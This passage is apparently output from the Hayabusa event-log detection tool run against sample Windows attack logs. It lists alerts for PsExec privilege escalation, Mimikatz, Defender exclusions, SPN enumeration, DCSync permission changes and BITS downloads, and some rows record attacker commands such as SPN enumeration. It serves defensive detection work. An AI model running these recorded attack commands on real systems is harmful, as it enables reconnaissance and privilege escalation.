AUTHORITY\LOCAL SERVICE : Parent Command: ?,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/lm_remote_registry_sysmon_1_13_3.evtx +2020-12-05 07:41:04.470 +09:00,MSEDGEWIN10,1,high,Suspicious Svchost Process,,rules/sigma/process_creation/win_susp_svchost.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/lm_remote_registry_sysmon_1_13_3.evtx +2020-12-05 07:41:04.470 +09:00,MSEDGEWIN10,1,low,Windows Processes Suspicious Parent Directory,,rules/sigma/process_creation/win_proc_wrong_parent.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/lm_remote_registry_sysmon_1_13_3.evtx +2020-12-05 07:41:04.542 +09:00,MSEDGEWIN10,12,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/lm_remote_registry_sysmon_1_13_3.evtx +2020-12-05 07:41:04.545 +09:00,MSEDGEWIN10,13,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/lm_remote_registry_sysmon_1_13_3.evtx +2020-12-10 01:52:34.562 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Users\Public\psexecprivesc.exe"" C:\Windows\System32\mspaint.exe : Path: C:\Users\Public\psexecprivesc.exe : User: MSEDGEWIN10\user02 : Parent Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_privesc_psexec_dwell.evtx +2020-12-10 01:52:34.562 +09:00,MSEDGEWIN10,1,high,Execution from Suspicious Folder,,rules/sigma/process_creation/win_susp_execution_path.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_privesc_psexec_dwell.evtx +2020-12-10 01:52:34.622 +09:00,MSEDGEWIN10,17,low,PsExec Tool Execution,,rules/sigma/pipe_created/pipe_created_tool_psexec.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_privesc_psexec_dwell.evtx +2020-12-10 01:52:41.861 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\PSEXESVC.exe : Path: C:\Windows\PSEXESVC.exe : User: NT AUTHORITY\SYSTEM : Parent Command: ?,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_privesc_psexec_dwell.evtx +2020-12-10 01:52:41.861 +09:00,MSEDGEWIN10,1,low,PsExec Service Start,,rules/sigma/process_creation/win_psexesvc_start.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_privesc_psexec_dwell.evtx +2020-12-10 01:52:41.861 +09:00,MSEDGEWIN10,1,low,PsExec Tool Execution,,rules/sigma/process_creation/process_creation_tool_psexec.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_privesc_psexec_dwell.evtx +2020-12-10 01:52:42.478 +09:00,MSEDGEWIN10,18,low,PsExec Tool Execution,,rules/sigma/pipe_created/pipe_created_tool_psexec.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_privesc_psexec_dwell.evtx +2020-12-10 01:52:44.864 +09:00,MSEDGEWIN10,18,low,PsExec Tool Execution,,rules/sigma/pipe_created/pipe_created_tool_psexec.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_privesc_psexec_dwell.evtx +2020-12-10 01:52:45.141 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\System32\mspaint.exe"" 췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍췍 : Path: C:\Windows\System32\mspaint.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\PSEXESVC.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_privesc_psexec_dwell.evtx +2020-12-10 20:18:54.600 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding : Path: C:\Windows\System32\wbem\WmiPrvSE.exe : User: NT AUTHORITY\LOCAL SERVICE : Parent Command: ?,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/wmi_remote_registry_sysmon.evtx +2020-12-10 20:18:54.856 +09:00,MSEDGEWIN10,13,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/wmi_remote_registry_sysmon.evtx +2020-12-11 21:28:01.299 +09:00,WIN10-client01.offsec.lan,1116,high,Windows Defender Alert,Threat: HackTool:Win64/Mikatz!dha : Severity: High : Type: Tool : User: OFFSEC\admmig : Path: file:_C:\Users\admmig\Documents\mimidrv.sys : Process: C:\Windows\explorer.exe,rules/hayabusa/default/alerts/WindowsDefender/1116_Multiple_WindowsDefenderAlert.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/Antivirus/ID1116-1117-Defender threat detected.evtx +2020-12-11 21:28:01.299 +09:00,WIN10-client01.offsec.lan,1116,high,Windows Defender Threat Detected,,rules/sigma/other/windefend/win_defender_threat.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/Antivirus/ID1116-1117-Defender threat detected.evtx +2020-12-11 21:28:01.299 +09:00,WIN10-client01.offsec.lan,1116,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/Antivirus/ID1116-1117-Defender threat detected.evtx +2020-12-11 21:28:01.299 +09:00,WIN10-client01.offsec.lan,1116,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/Antivirus/ID1116-1117-Defender threat detected.evtx +2020-12-11 21:28:01.566 +09:00,WIN10-client01.offsec.lan,1116,high,Windows Defender Alert,Threat: HackTool:Win32/Mimikatz.D : Severity: High : Type: Tool : User: OFFSEC\admmig : Path: file:_C:\Users\admmig\Documents\mimikatz.exe : Process: C:\Windows\explorer.exe,rules/hayabusa/default/alerts/WindowsDefender/1116_Multiple_WindowsDefenderAlert.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/Antivirus/ID1116-1117-Defender threat detected.evtx +2020-12-11 21:28:01.566 +09:00,WIN10-client01.offsec.lan,1116,high,Windows Defender Threat Detected,,rules/sigma/other/windefend/win_defender_threat.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/Antivirus/ID1116-1117-Defender threat detected.evtx +2020-12-11 21:28:01.566 +09:00,WIN10-client01.offsec.lan,1116,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/Antivirus/ID1116-1117-Defender threat detected.evtx +2020-12-11 21:28:01.566 +09:00,WIN10-client01.offsec.lan,1116,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/Antivirus/ID1116-1117-Defender threat detected.evtx +2020-12-11 21:28:01.651 +09:00,WIN10-client01.offsec.lan,1116,high,Windows Defender Alert,Threat: HackTool:Win64/Mikatz!dha : Severity: High : Type: Tool : User: OFFSEC\admmig : Path: file:_C:\Users\admmig\Documents\mimidrv.sys; file:_C:\Users\admmig\Documents\mimilib.dll : Process: C:\Windows\explorer.exe,rules/hayabusa/default/alerts/WindowsDefender/1116_Multiple_WindowsDefenderAlert.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/Antivirus/ID1116-1117-Defender threat detected.evtx +2020-12-11 21:28:01.651 +09:00,WIN10-client01.offsec.lan,1116,high,Possible CVE-2021-1675 Print Spooler Exploitation,,rules/sigma/other/printservice/win_exploit_cve_2021_1675_printspooler.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/Antivirus/ID1116-1117-Defender threat detected.evtx +2020-12-11 21:28:01.651 +09:00,WIN10-client01.offsec.lan,1116,high,Windows Defender Threat Detected,,rules/sigma/other/windefend/win_defender_threat.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/Antivirus/ID1116-1117-Defender threat detected.evtx +2020-12-11 21:28:01.651 +09:00,WIN10-client01.offsec.lan,1116,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/Antivirus/ID1116-1117-Defender threat detected.evtx +2020-12-11 21:28:01.651 +09:00,WIN10-client01.offsec.lan,1116,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/Antivirus/ID1116-1117-Defender threat detected.evtx +2020-12-11 21:28:43.010 +09:00,WIN10-client01.offsec.lan,1116,high,Windows Defender Alert,Threat: HackTool:Win32/Mimikatz.D : Severity: High : Type: Tool : User: OFFSEC\admmig : Path: file:_C:\Users\admmig\Documents\mimikatz.exe : Process: C:\Windows\explorer.exe,rules/hayabusa/default/alerts/WindowsDefender/1116_Multiple_WindowsDefenderAlert.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/Antivirus/ID1116-1117-Defender threat detected.evtx +2020-12-11 21:28:43.010 +09:00,WIN10-client01.offsec.lan,1116,high,Windows Defender Threat Detected,,rules/sigma/other/windefend/win_defender_threat.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/Antivirus/ID1116-1117-Defender threat detected.evtx +2020-12-11 21:28:43.010 +09:00,WIN10-client01.offsec.lan,1116,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/Antivirus/ID1116-1117-Defender threat detected.evtx +2020-12-11 21:28:43.010 +09:00,WIN10-client01.offsec.lan,1116,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/Antivirus/ID1116-1117-Defender threat detected.evtx +2020-12-11 21:28:44.271 +09:00,WIN10-client01.offsec.lan,1117,high,Windows Defender Threat Detected,,rules/sigma/other/windefend/win_defender_threat.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/Antivirus/ID1116-1117-Defender threat detected.evtx +2020-12-11 21:28:44.271 +09:00,WIN10-client01.offsec.lan,1117,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/Antivirus/ID1116-1117-Defender threat detected.evtx +2020-12-11 21:28:44.271 +09:00,WIN10-client01.offsec.lan,1117,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/Antivirus/ID1116-1117-Defender threat detected.evtx +2020-12-11 21:28:44.317 +09:00,WIN10-client01.offsec.lan,1116,high,Windows Defender Threat Detected,,rules/sigma/other/windefend/win_defender_threat.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/Antivirus/ID1116-1117-Defender threat detected.evtx +2020-12-11 21:28:44.317 +09:00,WIN10-client01.offsec.lan,1116,high,Windows Defender Alert,Threat: HackTool:Win32/Mimikatz.D : Severity: High : Type: Tool : User: OFFSEC\admmig : Path: file:_C:\Users\admmig\Documents\mimikatz.exe : Process: C:\Windows\explorer.exe,rules/hayabusa/default/alerts/WindowsDefender/1116_Multiple_WindowsDefenderAlert.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/Antivirus/ID1116-1117-Defender threat detected.evtx +2020-12-11 21:28:44.317 +09:00,WIN10-client01.offsec.lan,1116,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/Antivirus/ID1116-1117-Defender threat detected.evtx +2020-12-11 21:28:44.317 +09:00,WIN10-client01.offsec.lan,1116,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/Antivirus/ID1116-1117-Defender threat detected.evtx +2020-12-16 00:00:15.695 +09:00,MSEDGEWIN10,3,low,PowerShell Network Connections,,rules/sigma/network_connection/sysmon_powershell_network_connection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_remote_task_src_powershell.evtx +2020-12-16 00:00:15.695 +09:00,MSEDGEWIN10,3,low,PowerShell Network Connections,,rules/sigma/network_connection/sysmon_powershell_network_connection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_remote_task_src_powershell.evtx +2020-12-16 17:44:06.473 +09:00,WIN10-client01.offsec.lan,5007,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1562.001-Impair Defenses-Disable or Modify tool/ID5007-Defender threat exclusion (native).evtx +2020-12-16 17:44:06.473 +09:00,WIN10-client01.offsec.lan,5007,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1562.001-Impair Defenses-Disable or Modify tool/ID5007-Defender threat exclusion (native).evtx +2020-12-16 17:44:27.222 +09:00,WIN10-client01.offsec.lan,5007,medium,Windows Defender Exclusions Added,,rules/sigma/other/windefend/win_defender_exclusions.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1562.001-Impair Defenses-Disable or Modify tool/ID5007-Defender threat exclusion (native).evtx +2020-12-16 17:44:27.222 +09:00,WIN10-client01.offsec.lan,5007,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1562.001-Impair Defenses-Disable or Modify tool/ID5007-Defender threat exclusion (native).evtx +2020-12-16 17:44:27.222 +09:00,WIN10-client01.offsec.lan,5007,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1562.001-Impair Defenses-Disable or Modify tool/ID5007-Defender threat exclusion (native).evtx +2020-12-16 17:44:51.331 +09:00,WIN10-client01.offsec.lan,5007,medium,Windows Defender Exclusions Added,,rules/sigma/other/windefend/win_defender_exclusions.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1562.001-Impair Defenses-Disable or Modify tool/ID5007-Defender threat exclusion (native).evtx +2020-12-16 17:45:04.144 +09:00,WIN10-client01.offsec.lan,5007,medium,Windows Defender Exclusions Added,,rules/sigma/other/windefend/win_defender_exclusions.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1562.001-Impair Defenses-Disable or Modify tool/ID5007-Defender threat exclusion (native).evtx +2021-01-26 22:21:13.690 +09:00,LAPTOP-JU4M3I0E,1,informational,Process Creation,"Command: C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\MSBuild\Current\Bin\MSBuild.exe /nologo /nodemode:1 /nodeReuse:true /low:false : Path: C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\MSBuild\Current\Bin\MSBuild.exe : User: LAPTOP-JU4M3I0E\bouss : Parent Command: ""C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\Common7\IDE\devenv.exe"" ""C:\Users\bouss\source\repos\blabla\blabla.sln""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/execution_evasion_visual_studio_prebuild_event.evtx +2021-01-26 22:21:13.690 +09:00,LAPTOP-JU4M3I0E,1,low,Possible Applocker Bypass,,rules/sigma/process_creation/win_possible_applocker_bypass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/execution_evasion_visual_studio_prebuild_event.evtx +2021-01-26 22:21:13.978 +09:00,LAPTOP-JU4M3I0E,1,informational,Process Creation,"Command: ""C:\windows\system32\cmd.exe"" /Q /D /C C:\Users\bouss\AppData\Local\Temp\tmpf890f11830e143ada2d718f706dd94c0.exec.cmd : Path: C:\Windows\SysWOW64\cmd.exe : User: LAPTOP-JU4M3I0E\bouss : Parent Command: C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\MSBuild\Current\Bin\MSBuild.exe /nologo /nodemode:1 /nodeReuse:true /low:false",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/execution_evasion_visual_studio_prebuild_event.evtx +2021-01-26 22:21:14.023 +09:00,LAPTOP-JU4M3I0E,1,informational,Process Creation,"Command: powershell.exe start-process notepad.exe : Path: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe : User: LAPTOP-JU4M3I0E\bouss : Parent Command: ""C:\windows\system32\cmd.exe"" /Q /D /C C:\Users\bouss\AppData\Local\Temp\tmpf890f11830e143ada2d718f706dd94c0.exec.cmd",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/execution_evasion_visual_studio_prebuild_event.evtx +2021-01-26 22:21:14.023 +09:00,LAPTOP-JU4M3I0E,1,low,Non Interactive PowerShell,,rules/sigma/process_creation/win_non_interactive_powershell.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/execution_evasion_visual_studio_prebuild_event.evtx +2021-01-26 22:21:14.296 +09:00,LAPTOP-JU4M3I0E,1,informational,Process Creation,"Command: ""C:\windows\system32\notepad.exe"" : Path: C:\Windows\SysWOW64\notepad.exe : User: LAPTOP-JU4M3I0E\bouss : Parent Command: powershell.exe start-process notepad.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/execution_evasion_visual_studio_prebuild_event.evtx +2021-01-26 22:21:14.428 +09:00,LAPTOP-JU4M3I0E,1,informational,Process Creation,"Command: ""C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\MSBuild\Current\Bin\Tracker.exe"" @""C:\Users\bouss\AppData\Local\Temp\tmp5938b880d43743db91973c95f519f06b.tmp"" /c ""C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.26.28801\bin\HostX86\x86\CL.exe"" @""C:\Users\bouss\AppData\Local\Temp\tmp19546d957b6e4d15b83f93a323d5f087.rsp"" : Path: C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\MSBuild\Current\Bin\Tracker.exe : User: LAPTOP-JU4M3I0E\bouss : Parent Command: C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\MSBuild\Current\Bin\MSBuild.exe /nologo /nodemode:1 /nodeReuse:true /low:false",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/execution_evasion_visual_studio_prebuild_event.evtx +2021-01-26 22:21:14.456 +09:00,LAPTOP-JU4M3I0E,1,informational,Process Creation,"Command: ""C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.26.28801\bin\HostX86\x86\CL.exe"" @C:\Users\bouss\AppData\Local\Temp\tmp19546d957b6e4d15b83f93a323d5f087.rsp : Path: C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.26.28801\bin\Hostx86\x86\cl.exe : User: LAPTOP-JU4M3I0E\bouss : Parent Command: ""C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\MSBuild\Current\Bin\Tracker.exe"" @""C:\Users\bouss\AppData\Local\Temp\tmp5938b880d43743db91973c95f519f06b.tmp"" /c ""C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.26.28801\bin\HostX86\x86\CL.exe"" @""C:\Users\bouss\AppData\Local\Temp\tmp19546d957b6e4d15b83f93a323d5f087.rsp""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/execution_evasion_visual_studio_prebuild_event.evtx +2021-01-26 22:21:14.667 +09:00,LAPTOP-JU4M3I0E,1,informational,Process Creation,"Command: ""C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.26.28801\bin\HostX86\x86\VCTIP.EXE"" : Path: C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.26.28801\bin\Hostx86\x86\vctip.exe : User: LAPTOP-JU4M3I0E\bouss : Parent Command: ""C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.26.28801\bin\HostX86\x86\CL.exe"" @C:\Users\bouss\AppData\Local\Temp\tmp19546d957b6e4d15b83f93a323d5f087.rsp",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/execution_evasion_visual_studio_prebuild_event.evtx +2021-02-01 20:13:11.195 +09:00,fs02.offsec.lan,1,high,Process Creation Sysmon Rule Alert,"Rule: technique_id=T1015,technique_name=Accessibility Features : Command: setspn -T offsec -Q */* : Path: C:\Windows\System32\setspn.exe : User: OFFSEC\admmig : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1087-Account discovery/ID1-SPN discovery (SYSMON process).evtx +2021-02-01 20:13:11.195 +09:00,fs02.offsec.lan,1,medium,Possible SPN Enumeration,,rules/sigma/process_creation/win_spn_enum.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1087-Account discovery/ID1-SPN discovery (SYSMON process).evtx +2021-02-03 00:37:59.991 +09:00,fs02.offsec.lan,4616,medium,Unauthorized System Time Modification,,rules/sigma/builtin/security/win_susp_time_modification.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.006-Timestomp/ID4616-Time changed.evtx +2021-02-03 00:37:59.993 +09:00,fs02.offsec.lan,4616,medium,Unauthorized System Time Modification,,rules/sigma/builtin/security/win_susp_time_modification.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.006-Timestomp/ID4616-Time changed.evtx +2021-02-03 00:38:31.989 +09:00,fs02.offsec.lan,4616,medium,Unauthorized System Time Modification,,rules/sigma/builtin/security/win_susp_time_modification.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.006-Timestomp/ID4616-Time changed.evtx +2021-02-03 00:38:31.995 +09:00,fs02.offsec.lan,4616,medium,Unauthorized System Time Modification,,rules/sigma/builtin/security/win_susp_time_modification.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.006-Timestomp/ID4616-Time changed.evtx +2021-02-08 21:03:02.776 +09:00,rootdc1.offsec.lan,4738,high,Weak Encryption Enabled and Kerberoast,,rules/sigma/builtin/security/win_alert_enable_weak_encryption.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4738-User set with reversible psw encryption.evtx +2021-02-08 21:06:15.608 +09:00,rootdc1.offsec.lan,4738,high,Weak Encryption Enabled and Kerberoast,,rules/sigma/builtin/security/win_alert_enable_weak_encryption.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4738-Use only Kerberos DES encryption types.evtx +2021-02-08 21:06:53.407 +09:00,rootdc1.offsec.lan,4738,high,Weak Encryption Enabled and Kerberoast,,rules/sigma/builtin/security/win_alert_enable_weak_encryption.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4738-Do not require Kerberos preauthentication.evtx +2021-02-23 07:18:08.605 +09:00,rootdc1.offsec.lan,5136,critical,Powerview Add-DomainObjectAcl DCSync AD Extend Right,,rules/sigma/builtin/security/win_account_backdoor_dcsync_rights.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1222.001-File and Directory Permissions Modification/ID5136-Permission change on top root AD (DCsync).evtx +2021-02-23 07:18:08.605 +09:00,rootdc1.offsec.lan,5136,critical,Powerview Add-DomainObjectAcl DCSync AD Extend Right,,rules/sigma/builtin/security/win_account_backdoor_dcsync_rights.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1222.001-File and Directory Permissions Modification/ID5136-Permission change on top root AD (DCsync).evtx +2021-02-23 07:35:11.993 +09:00,rootdc1.offsec.lan,4662,medium,AD User Enumeration,,rules/sigma/builtin/security/win_ad_user_enumeration.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID5136-4662 AD object owner changed.evtx +2021-02-23 07:35:20.786 +09:00,rootdc1.offsec.lan,4662,medium,AD User Enumeration,,rules/sigma/builtin/security/win_ad_user_enumeration.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID5136-4662 AD object owner changed.evtx +2021-02-23 08:07:21.231 +09:00,jump01.offsec.lan,59,informational,Bits Job Creation,Job Title: hackingarticles : URL: https://www.ma-neobanque.com/wp-content/uploads/2020/11/carte-max-premium.jpg,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1197-BITS jobs/ID3-59-60-BITS job created.evtx +2021-03-16 03:49:21.017 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Font Download : URL: https://fs.microsoft.com/fs/windows/config.json,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2021-03-16 03:49:23.184 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: ab170ec9.png : URL: https://i.imgur.com/IFpvPlt.png,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2021-03-16 03:52:31.347 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1eBRSG.img?w=100&h=100&m=6&tilesize=medium&x=1788&y=885&ms-scale=100&ms-contrast=standard,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2021-03-16 03:52:33.804 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://site-cdn.onenote.net/161390740451_Images/LiveTileImages/MediumAndLarge/Image2.png,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2021-03-16 03:53:18.009 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://site-cdn.onenote.net/161390740451_Images/LiveTileImages/MediumAndLarge/Image2.png,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2021-03-16 03:53:51.796 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: 